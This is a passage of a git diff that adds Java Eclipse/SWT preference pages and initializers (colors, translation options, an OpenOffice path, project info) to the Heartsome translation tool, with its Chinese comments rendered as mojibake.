btnLanguageWithZHCN.setSelection(false); + } else if (intLanguage == IPreferenceConstants.SYSTEM_LANGUAGE_WITH_ZH_CN) { + btnLanguageWithEN.setSelection(false); + btnLanguageWithZHCN.setSelection(true); + } + txtSystemUser.setText(strSystemUser); + editorFontSetting.initFont(strEditorFontName, intEdutorFontSize); + matchViewFontSetting.initFont(strMatchViewFontName, intMatchViewFontSize); + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/TSPreferenceInitializer.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/TSPreferenceInitializer.java new file mode 100644 index 0000000..20584a6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/TSPreferenceInitializer.java @@ -0,0 +1,58 @@ +package net.heartsome.cat.ts.ui.preferencepage; + +import net.heartsome.cat.common.core.CoreActivator; +import net.heartsome.cat.common.locale.LocaleService; +import net.heartsome.cat.ts.ui.Activator; +import net.heartsome.cat.ts.ui.bean.ColorConfigLoader; +import net.heartsome.cat.ts.ui.bean.IColorPreferenceConstant; + +import org.eclipse.core.runtime.preferences.AbstractPreferenceInitializer; +import org.eclipse.core.runtime.preferences.ConfigurationScope; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.preference.PreferenceConverter; +import org.eclipse.swt.graphics.RGB; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.preferences.ScopedPreferenceStore; + +/** + * 设置 TS 应用中相关首选项页的åˆå§‹å€¼ + * @author cheney + * @since JDK1.6 + */ +public class TSPreferenceInitializer extends AbstractPreferenceInitializer { + + @Override + public void initializeDefaultPreferences() { + // 设置 colors 首选项页的åˆå§‹å€¼ + IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + PreferenceConverter.setDefault(store, IColorPreferenceConstant.TAG_FG_COLOR, new RGB(234, 234, 234)); + PreferenceConverter.setDefault(store, IColorPreferenceConstant.TAG_BG_COLOR, new RGB(223, 112, 0)); + PreferenceConverter.setDefault(store, IColorPreferenceConstant.WRONG_TAG_COLOR, new RGB(255, 0, 0)); + PreferenceConverter.setDefault(store, IColorPreferenceConstant.DIFFERENCE_FG_COLOR, new RGB(255, 0, 0)); + PreferenceConverter.setDefault(store, IColorPreferenceConstant.DIFFERENCE_BG_COLOR, new RGB(244, 244, 159)); + + PreferenceConverter.setDefault(store, IColorPreferenceConstant.PT_COLOR, new RGB(255, 0, 0)); + PreferenceConverter.setDefault(store, IColorPreferenceConstant.QT_COLOR, new RGB(255, 204, 204)); + PreferenceConverter.setDefault(store, IColorPreferenceConstant.MT_COLOR, new RGB(171, 217, 198)); + PreferenceConverter.setDefault(store, IColorPreferenceConstant.TM_MATCH101_COLOR, new RGB(255, 255, 204)); + PreferenceConverter.setDefault(store, IColorPreferenceConstant.TM_MATCH100_COLOR, new RGB(37, 168, 204)); + PreferenceConverter.setDefault(store, IColorPreferenceConstant.TM_MATCH90_COLOR, new RGB(79, 185, 214)); + PreferenceConverter.setDefault(store, IColorPreferenceConstant.TM_MATCH80_COLOR, new RGB(114, 199, 222)); + PreferenceConverter.setDefault(store, IColorPreferenceConstant.TM_MATCH70_COLOR, new RGB(155, 215, 231)); + PreferenceConverter.setDefault(store, IColorPreferenceConstant.TM_MATCH0_COLOR, new RGB(198, 240, 251)); + + PreferenceConverter.setDefault(store, IColorPreferenceConstant.HIGHLIGHTED_TERM_COLOR, new RGB(170, 255, 85)); + + // 设置 net.heartsome.cat.common.core æ’件中的语言代ç åˆå§‹å€¼ + IPreferenceStore corePreferenceStore = new ScopedPreferenceStore(ConfigurationScope.INSTANCE, CoreActivator + .getDefault().getBundle().getSymbolicName()); + corePreferenceStore.setDefault(IPreferenceConstants.LANGUAGECODE, LocaleService.getLanguageConfigAsString()); + + // 设置选择路径对è¯æ¡†çš„åˆå§‹å€¼ + PlatformUI.getPreferenceStore() + .setDefault(IPreferenceConstants.LAST_DIRECTORY, System.getProperty("user.home")); + + ColorConfigLoader.init(); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/colors/ColorsPreferencePage.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/colors/ColorsPreferencePage.java new file mode 100644 index 0000000..8d8deea --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/colors/ColorsPreferencePage.java @@ -0,0 +1,188 @@ +package net.heartsome.cat.ts.ui.preferencepage.colors; + +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.ui.Activator; +import net.heartsome.cat.ts.ui.bean.IColorPreferenceConstant; +import net.heartsome.cat.ts.ui.resource.Messages; + +import org.eclipse.jface.preference.ColorFieldEditor; +import org.eclipse.jface.preference.FieldEditorPreferencePage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Group; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPreferencePage; + +/** + * TS 应用中颜色设置的首选项页 + * @author cheney + * @since JDK1.6 + */ +public class ColorsPreferencePage extends FieldEditorPreferencePage implements IWorkbenchPreferencePage { + + public static final String ID = "net.heartsome.cat.ts.ui.preferencepage.colors.ColorsPreferencePage"; + private List imageList = new ArrayList(); + private List colorList = new ArrayList(); + + /** + * æ— å‚构造函数 + */ + public ColorsPreferencePage() { + super(GRID); + // setTitle("Colors"); + setPreferenceStore(Activator.getDefault().getPreferenceStore()); + // setDescription("系统颜色é…ç½®"); + } + + @Override + protected void createFieldEditors() { + Composite parent = getFieldEditorParent(); + Composite container = new Composite(parent, SWT.None); + container.setLayout(new GridLayout()); + container.setLayoutData(new GridData(GridData.FILL_BOTH)); + + Group groupMatch = new Group(container, SWT.None); + groupMatch.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + groupMatch.setText(Messages.getString("colors.ColorsPreferencePage.groupMatch")); + if (CommonFunction.checkEdition("U")) { + addField(new ColorFieldEditor2(IColorPreferenceConstant.TM_MATCH101_COLOR, + Messages.getString("colors.ColorsPreferencePage.match101"), groupMatch)); + } + addField(new ColorFieldEditor2(IColorPreferenceConstant.TM_MATCH100_COLOR, + Messages.getString("colors.ColorsPreferencePage.match100"), groupMatch)); + addField(new ColorFieldEditor2(IColorPreferenceConstant.TM_MATCH90_COLOR, + Messages.getString("colors.ColorsPreferencePage.match90"), groupMatch)); + addField(new ColorFieldEditor2(IColorPreferenceConstant.TM_MATCH80_COLOR, + Messages.getString("colors.ColorsPreferencePage.match80"), groupMatch)); + addField(new ColorFieldEditor2(IColorPreferenceConstant.TM_MATCH70_COLOR, + Messages.getString("colors.ColorsPreferencePage.match70"), groupMatch)); + addField(new ColorFieldEditor2(IColorPreferenceConstant.TM_MATCH0_COLOR, + Messages.getString("colors.ColorsPreferencePage.match0"), groupMatch)); + addField(new ColorFieldEditor2(IColorPreferenceConstant.QT_COLOR, + Messages.getString("colors.ColorsPreferencePage.QT"), groupMatch)); + groupMatch.computeSize(SWT.DEFAULT, SWT.DEFAULT); + + if (!CommonFunction.checkEdition("L")) { + Group groupTerm = new Group(container, SWT.None); + groupTerm.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + groupTerm.setText(Messages.getString("colors.ColorsPreferencePage.groupTerms")); + addField(new ColorFieldEditor2(IColorPreferenceConstant.HIGHLIGHTED_TERM_COLOR, + Messages.getString("colors.ColorsPreferencePage.highlightedTermColor"), groupTerm)); + groupTerm.computeSize(SWT.DEFAULT, SWT.DEFAULT); + } + + Group groupTag = new Group(container, SWT.None); + groupTag.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + groupTag.setText(Messages.getString("colors.ColorsPreferencePage.groupTag")); + addField(new ColorFieldEditor2(IColorPreferenceConstant.TAG_FG_COLOR, + Messages.getString("colors.ColorsPreferencePage.tagForground"), groupTag)); + addField(new ColorFieldEditor2(IColorPreferenceConstant.TAG_BG_COLOR, + Messages.getString("colors.ColorsPreferencePage.tagBackground"), groupTag)); + addField(new ColorFieldEditor2(IColorPreferenceConstant.WRONG_TAG_COLOR, + Messages.getString("colors.ColorsPreferencePage.wrongTagColor"), groupTag)); + groupTag.computeSize(SWT.DEFAULT, SWT.DEFAULT); + + Group groupSource = new Group(container, SWT.None); + groupSource.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + groupSource.setText(Messages.getString("colors.ColorsPreferencePage.groupSource")); + addField(new ColorFieldEditor2(IColorPreferenceConstant.DIFFERENCE_BG_COLOR, + Messages.getString("colors.ColorsPreferencePage.SourceForground"), groupSource)); + addField(new ColorFieldEditor2(IColorPreferenceConstant.DIFFERENCE_FG_COLOR, + Messages.getString("colors.ColorsPreferencePage.SourceBackground"), groupSource)); + groupSource.computeSize(SWT.DEFAULT, SWT.DEFAULT); + } + + public void init(IWorkbench workbench) { + + } + + private class ColorFieldEditor2 extends ColorFieldEditor { + + Button colorButton; + Point fExtent; + + public ColorFieldEditor2(String name, String labelText, Composite parent) { + super(name, labelText, parent); + } + + protected void doFillIntoGrid(Composite parent, int numColumns) { + Control control = getLabelControl(parent); + GridData gd = new GridData(GridData.FILL_HORIZONTAL); + gd.horizontalSpan = numColumns - 1; + control.setLayoutData(gd); + + colorButton = getChangeControl(parent); + GridData dataBtn = new GridData(); + dataBtn.widthHint = 100; + colorButton.setLayoutData(dataBtn); + fExtent = computeImageSize(parent); + colorButton.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent event) { + updateColorImage(); + } + }); + } + + @Override + public void load() { + super.load(); + updateColorImage(); + } + + @Override + public void loadDefault() { + super.loadDefault(); + updateColorImage(); + } + + protected void updateColorImage() { + Display display = colorButton.getDisplay(); + Image i = new Image(colorButton.getDisplay(), fExtent.x + 30, fExtent.y); + imageList.add(i); + GC gc = new GC(i); + gc.setForeground(display.getSystemColor(SWT.COLOR_BLACK)); + gc.drawRectangle(0, 2, fExtent.x + 28, fExtent.y - 3); + if (colorButton.getBackground() != null) { + colorButton.getBackground().dispose(); + } + Color c = new Color(display, getColorSelector().getColorValue()); + colorList.add(c); + gc.setBackground(c); + gc.fillRectangle(0, 2, fExtent.x + 32, fExtent.y + 5); + gc.dispose(); + colorButton.setImage(i); + } + + } + + @Override + public void dispose() { + for (Image img : imageList) { + if (img != null && !img.isDisposed()) { + img.dispose(); + } + } + imageList.clear(); + for (Color c : colorList) { + if (c != null && !c.isDisposed()) { + c.dispose(); + } + } + colorList.clear(); + super.dispose(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/translation/ITranslationPreferenceConstants.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/translation/ITranslationPreferenceConstants.java new file mode 100644 index 0000000..15ac36d --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/translation/ITranslationPreferenceConstants.java @@ -0,0 +1,51 @@ +package net.heartsome.cat.ts.ui.preferencepage.translation; + +/** + * 翻译/预翻译定义的常é‡ç±» + * @author peason + * @version + * @since JDK1.6 + */ +public interface ITranslationPreferenceConstants { + + /** + * 接å—翻译时是å¦è°ƒæ•´ç©ºæ ¼ä½ç½® + */ + String AUTO_ADAPT_SPACE_POSITION = "net.heartsome.cat.ts.ui.preferencepage.translation.autoAdaptSpacePosition"; + + /** + * æ— è¯‘æ–‡æ—¶è‡ªåŠ¨åº”ç”¨æœ€é«˜è®°å¿†åº“åŒ¹é… + */ + String AUTO_APPLY_TM_MATCH = "net.heartsome.cat.ts.ui.preferencepage.translation.autoApplyTmMatch"; + + /** + * 无匹é…时是å¦å¤åˆ¶æºæ–‡æœ¬åˆ°ç›®æ ‡ + */ + String COPY_SOURCE_TO_TARGET = "net.heartsome.cat.ts.ui.preferencepage.translation.copySourceToTarget"; + + /** + * 是å¦è·³è¿‡ä¸å¯ç¿»è¯‘的文本段 + */ + String SKIP_NOT_TRANSLATE_TEXT = "net.heartsome.cat.ts.ui.preferencepage.translation.skipNotTranslateText"; + + /** + * 自动快速翻译 + */ + String AUTO_QUICK_TRANSLATION = "net.heartsome.cat.ts.ui.preferencepage.translation.autoQuickTranslation"; + + /** + * OpenOffice 路径 + */ + String PATH_OF_OPENOFFICE = "net.heartsome.cat.ts.ui.preferencepage.translation.pathOfOpenOffice"; + + /** + * OpenOffice ç«¯å£ + */ + String PORT_OF_OPENOFFICE = "net.heartsome.cat.ts.ui.preferencepage.translation.portOfOpenOffice"; + + /** + * 是å¦å¯ç”¨ + */ + String ENABLED_OF_OPENOFFICE = "net.heartsome.cat.ts.ui.preferencepage.translation.enabledOfOpenOffice"; + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/translation/TranslationInitializer.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/translation/TranslationInitializer.java new file mode 100644 index 0000000..ae46a03 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/translation/TranslationInitializer.java @@ -0,0 +1,31 @@ +package net.heartsome.cat.ts.ui.preferencepage.translation; + +import net.heartsome.cat.ts.ui.Activator; + +import org.eclipse.core.runtime.preferences.AbstractPreferenceInitializer; +import org.eclipse.jface.preference.IPreferenceStore; + +/** + * 为首选项的翻译/预翻译设置默认值的类 + * @author peason + * @version + * @since JDK1.6 + */ +public class TranslationInitializer extends AbstractPreferenceInitializer { + + @Override + public void initializeDefaultPreferences() { + IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + store.setDefault(ITranslationPreferenceConstants.AUTO_ADAPT_SPACE_POSITION, false); + store.setDefault(ITranslationPreferenceConstants.COPY_SOURCE_TO_TARGET, false); + store.setDefault(ITranslationPreferenceConstants.AUTO_QUICK_TRANSLATION, true); + store.setDefault(ITranslationPreferenceConstants.AUTO_APPLY_TM_MATCH, false); + store.setDefault(ITranslationPreferenceConstants.SKIP_NOT_TRANSLATE_TEXT, true); + + store.setDefault(ITranslationPreferenceConstants.PATH_OF_OPENOFFICE, ""); + store.setDefault(ITranslationPreferenceConstants.PORT_OF_OPENOFFICE, 9000); + store.setDefault(ITranslationPreferenceConstants.ENABLED_OF_OPENOFFICE, false); + + } + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/translation/TranslationPreferencePage.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/translation/TranslationPreferencePage.java new file mode 100644 index 0000000..adb55db --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/translation/TranslationPreferencePage.java @@ -0,0 +1,224 @@ +package net.heartsome.cat.ts.ui.preferencepage.translation; + +import net.heartsome.cat.common.ui.HsImageLabel; +import net.heartsome.cat.ts.ui.Activator; +import net.heartsome.cat.ts.ui.resource.Messages; + +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.preference.PreferencePage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Text; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPreferencePage; + +/** + * 翻译首选项 + * @author peason + * @version + * @since JDK1.6 + */ +public class TranslationPreferencePage extends PreferencePage implements IWorkbenchPreferencePage { + + public static final String ID = "net.heartsome.cat.ts.ui.preferencepage.translation.TranslationPreferencePage"; + + private IPreferenceStore preferenceStore; + + /** 接å—翻译时调整空格ä½ç½®å¤é€‰æ¡† */ + private Button btnAutoAdaptSpacePosition; + + private Button btnAutoApplyTmMatch; + + /** 无匹é…æ—¶å¤åˆ¶æºæ–‡æœ¬åˆ°ç›®æ ‡å¤é€‰æ¡† */ + private Button btnCopyToTarget; + + private Button btnAutoQuickTranslation; + + /** 跳过ä¸å¯ç¿»è¯‘的文本段å¤é€‰æ¡† */ + // private Button btnSkipNotTranslateText; + + private Text txtPath; + + private Button btnBrowse; + + /** + * 构造函数 + */ + public TranslationPreferencePage() { + setTitle(Messages.getString("translation.TranslationPreferencePage.title")); + setPreferenceStore(Activator.getDefault().getPreferenceStore()); + preferenceStore = getPreferenceStore(); + } + + public void init(IWorkbench workbench) { + + } + + @Override + protected Control createContents(Composite parent) { + Composite tparent = new Composite(parent, SWT.NONE); + tparent.setLayout(new GridLayout()); + tparent.setLayoutData(new GridData(GridData.FILL_BOTH)); + + Group group = new Group(tparent, SWT.NONE); + group.setLayout(new GridLayout()); + group.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + group.setText(Messages.getString("translation.TranslationPreferencePage.group")); + + HsImageLabel imageLabel = new HsImageLabel( + Messages.getString("translation.TranslationPreferencePage.imageLabel"), + Activator.getImageDescriptor("images/preference/translate/trans_32.png")); + + Composite comp = imageLabel.createControl(group); + + btnAutoAdaptSpacePosition = new Button(comp, SWT.CHECK); + btnAutoAdaptSpacePosition.setText(Messages + .getString("translation.TranslationPreferencePage.btnAutoAdaptSpacePosition")); + btnAutoAdaptSpacePosition.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + btnAutoApplyTmMatch = new Button(comp, SWT.CHECK); + btnAutoApplyTmMatch.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnAutoApplyTmMatch.setText(Messages.getString("translation.TranslationPreferencePage.btnAutoApplyTmMatch")); + + btnCopyToTarget = new Button(comp, SWT.CHECK); + btnCopyToTarget.setText(Messages.getString("translation.TranslationPreferencePage.btnCopyToTarget")); + btnCopyToTarget.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + // btnSkipNotTranslateText = new Button(comp, SWT.CHECK); + // btnSkipNotTranslateText.setText("翻译时跳过é”定文本段"); + // btnSkipNotTranslateText.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + btnAutoQuickTranslation = new Button(comp, SWT.CHECK); + btnAutoQuickTranslation.setText(Messages + .getString("translation.TranslationPreferencePage.btnAutoQuickTranslation")); + btnAutoQuickTranslation.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + imageLabel.computeSize(); + + Group openOfficeGroup = new Group(tparent, SWT.NONE); + openOfficeGroup.setLayout(new GridLayout()); + openOfficeGroup.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + openOfficeGroup.setText(Messages.getString("translation.TranslationPreferencePage.openOfficeGroup")); + + HsImageLabel imageLabel2 = new HsImageLabel( + Messages.getString("translation.TranslationPreferencePage.imageLabel2"), + Activator.getImageDescriptor("images/preference/translate/trans_office_32.png")); + + Composite composite = imageLabel2.createControl(openOfficeGroup); + GridLayout gd = new GridLayout(3, false); + gd.marginLeft = 0; + gd.marginTop = 0; + composite.setLayout(gd); + + new Label(composite, SWT.NONE).setText(Messages.getString("translation.TranslationPreferencePage.lblOO")); + txtPath = new Text(composite, SWT.BORDER | SWT.READ_ONLY); + txtPath.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnBrowse = new Button(composite, SWT.NONE); + btnBrowse.setText(Messages.getString("translation.TranslationPreferencePage.btnBrowse")); + + imageLabel2.computeSize(); + + setValues(false); + initListener(); + return tparent; + } + + @Override + protected void performDefaults() { + setValues(true); + } + + @Override + public boolean performOk() { + preferenceStore.setValue(ITranslationPreferenceConstants.AUTO_ADAPT_SPACE_POSITION, + btnAutoAdaptSpacePosition.getSelection()); + preferenceStore.setValue(ITranslationPreferenceConstants.COPY_SOURCE_TO_TARGET, btnCopyToTarget.getSelection()); + preferenceStore.setValue(ITranslationPreferenceConstants.AUTO_QUICK_TRANSLATION, + btnAutoQuickTranslation.getSelection()); + preferenceStore.setValue(ITranslationPreferenceConstants.AUTO_APPLY_TM_MATCH, + btnAutoApplyTmMatch.getSelection()); + + // preferenceStore.setValue(ITranslationPreferenceConstants.SKIP_NOT_TRANSLATE_TEXT, + // btnSkipNotTranslateText.getSelection()); + + preferenceStore.setValue(ITranslationPreferenceConstants.PATH_OF_OPENOFFICE, txtPath.getText() == null ? "" + : txtPath.getText()); + preferenceStore.setValue(ITranslationPreferenceConstants.ENABLED_OF_OPENOFFICE, + txtPath.getText() == null || txtPath.getText().trim().equals("") ? false : true); + return true; + } + + private void initListener() { + + btnBrowse.addSelectionListener(new SelectionAdapter() { + + @Override + public void widgetSelected(SelectionEvent e) { + + FileDialog flg = new FileDialog(btnBrowse.getShell(), SWT.OPEN); + String[] filter = new String[] { "soffice;soffice.*", "*" }; + flg.setFilterExtensions(filter); + String path = txtPath.getText(); + if (path == null || path.trim().equals("")) { + flg.setFilterPath(System.getProperty("user.home")); + } else { + flg.setFilterPath(path.substring(0, path.lastIndexOf(System.getProperty("file.separator")))); + flg.setFileName(path.substring(path.lastIndexOf(System.getProperty("file.separator")) + 1)); + } + String stropen = flg.open(); + String flgstr = stropen == null ? "" : stropen; + if (flgstr.equals("")) { + return; + } else { + txtPath.setText(flgstr); + } + filter = null; + + } + }); + } + + private void setValues(boolean blnIsApplyDefault) { + if (blnIsApplyDefault) { + btnAutoAdaptSpacePosition.setSelection(preferenceStore + .getDefaultBoolean(ITranslationPreferenceConstants.AUTO_ADAPT_SPACE_POSITION)); + btnCopyToTarget.setSelection(preferenceStore + .getDefaultBoolean(ITranslationPreferenceConstants.COPY_SOURCE_TO_TARGET)); + btnAutoQuickTranslation.setSelection(preferenceStore + .getDefaultBoolean(ITranslationPreferenceConstants.AUTO_QUICK_TRANSLATION)); + + btnAutoApplyTmMatch.setSelection(preferenceStore + .getDefaultBoolean(ITranslationPreferenceConstants.AUTO_APPLY_TM_MATCH)); + // + // btnSkipNotTranslateText.setSelection(preferenceStore + // .getDefaultBoolean(ITranslationPreferenceConstants.SKIP_NOT_TRANSLATE_TEXT)); + + txtPath.setText(preferenceStore.getDefaultString(ITranslationPreferenceConstants.PATH_OF_OPENOFFICE)); + } else { + btnAutoAdaptSpacePosition.setSelection(preferenceStore + .getBoolean(ITranslationPreferenceConstants.AUTO_ADAPT_SPACE_POSITION)); + btnCopyToTarget.setSelection(preferenceStore + .getBoolean(ITranslationPreferenceConstants.COPY_SOURCE_TO_TARGET)); + btnAutoQuickTranslation.setSelection(preferenceStore + .getBoolean(ITranslationPreferenceConstants.AUTO_QUICK_TRANSLATION)); + + btnAutoApplyTmMatch.setSelection(preferenceStore + .getBoolean(ITranslationPreferenceConstants.AUTO_APPLY_TM_MATCH)); + // + // btnSkipNotTranslateText.setSelection(preferenceStore + // .getBoolean(ITranslationPreferenceConstants.SKIP_NOT_TRANSLATE_TEXT)); + + txtPath.setText(preferenceStore.getString(ITranslationPreferenceConstants.PATH_OF_OPENOFFICE)); + } + } + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/projectsetting/ProjectSettingBaseInfoPage.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/projectsetting/ProjectSettingBaseInfoPage.java new file mode 100644 index 0000000..0e6979d --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/projectsetting/ProjectSettingBaseInfoPage.java @@ -0,0 +1,252 @@ +/** + * ProjectConfigBaseInfoPage.java + * + * Version information : + * + * Date:Nov 29, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.projectsetting; + +import java.util.ArrayList; +import java.util.Iterator; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; + +import net.heartsome.cat.common.bean.ProjectInfoBean; +import net.heartsome.cat.common.locale.Language; +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.ts.ui.resource.Messages; + +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.preference.PreferencePage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Text; + +public class ProjectSettingBaseInfoPage extends PreferencePage { + + private Label projectNameLabel; + private Label sourceLangLabel; + private Label targetlangLabel; + + private ProjectInfoBean projCfgBean; + + private ArrayList lstText; + + private ArrayList lstCombo; + + /** + * Create the preference page. + */ + public ProjectSettingBaseInfoPage(ProjectInfoBean bean) { + setTitle(Messages.getString("projectsetting.ProjectSettingBaseInfoPage.title")); + noDefaultAndApplyButton(); + this.projCfgBean = bean; + + } + + /** + * Create contents of the preference page. + * @param parent + */ + @Override + public Control createContents(Composite parent) { + // GridData fieldData = new GridData(); + // fieldData.heightHint = 10; + // Composite container = new Composite(parent, SWT.NULL); + // container.setLayout(new GridLayout()); + // container.setLayoutData(fieldData); + // + // ScrolledComposite cmpScrolled = new ScrolledComposite(container, SWT.V_SCROLL); + // cmpScrolled.setAlwaysShowScrollBars(true); + // cmpScrolled.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + // cmpScrolled.setExpandHorizontal(true); + // cmpScrolled.setExpandVertical(true); + + Composite cmpField = new Composite(parent, SWT.None); + cmpField.setLayout(new GridLayout(2, false)); + // cmpScrolled.setContent(cmpField); + // cmpScrolled.setMinSize(cmpField.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + + Label label = new Label(cmpField, SWT.RIGHT); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); + label.setText(Messages.getString("projectsetting.ProjectSettingBaseInfoPage.projectNameLabel")); + Point namePoint = label.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + + projectNameLabel = new Label(cmpField, SWT.NONE); + // cmpScrolled.setMinSize(cmpField.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + + label = new Label(cmpField, SWT.RIGHT); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); + label.setText(Messages.getString("projectsetting.ProjectSettingBaseInfoPage.sourceLangLabel")); + Point srcPoint = label.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + + sourceLangLabel = new Label(cmpField, SWT.NONE); + // cmpScrolled.setMinSize(cmpField.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + + label = new Label(cmpField, SWT.RIGHT); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); + label.setText(Messages.getString("projectsetting.ProjectSettingBaseInfoPage.targetlangLabel")); + Point tgtPoint = label.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + + targetlangLabel = new Label(cmpField, SWT.NONE); + // cmpScrolled.setMinSize(cmpField.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + initData(); + + int width = Math.max(namePoint.x, Math.max(srcPoint.x, tgtPoint.x)) + 10; + + Map mapField = projCfgBean.getMapField(); + if (mapField != null && mapField.size() > 0) { + lstText = new ArrayList(); + Iterator> it = mapField.entrySet().iterator(); + while (it.hasNext()) { + Entry entry = (Entry) it.next(); + Label lbl = new Label(cmpField, SWT.WRAP); + String strLbl = TextUtil.xmlToString(entry.getKey()).replaceAll("&", "&&") + + Messages.getString("wizards.NewProjectWizardProjInfoPage.colon"); + lbl.setText(strLbl); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(lbl); + GridData gd = (GridData) lbl.getLayoutData(); + Point p = lbl.computeSize(SWT.DEFAULT, SWT.DEFAULT); + if (p.x > width) { + gd.widthHint = width; + } + Text txt = new Text(cmpField, SWT.BORDER); + txt.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + txt.setText(TextUtil.xmlToString(entry.getValue())); + txt.setData(TextUtil.xmlToString(entry.getKey())); + txt.addModifyListener(new ModifyListener() { + + public void modifyText(ModifyEvent e) { + if (lstText != null && lstText.size() > 0) { + boolean isValid = true; + for (Text txt : lstText) { + String value = txt.getText(); + if (value != null && !value.equals("")) { + if 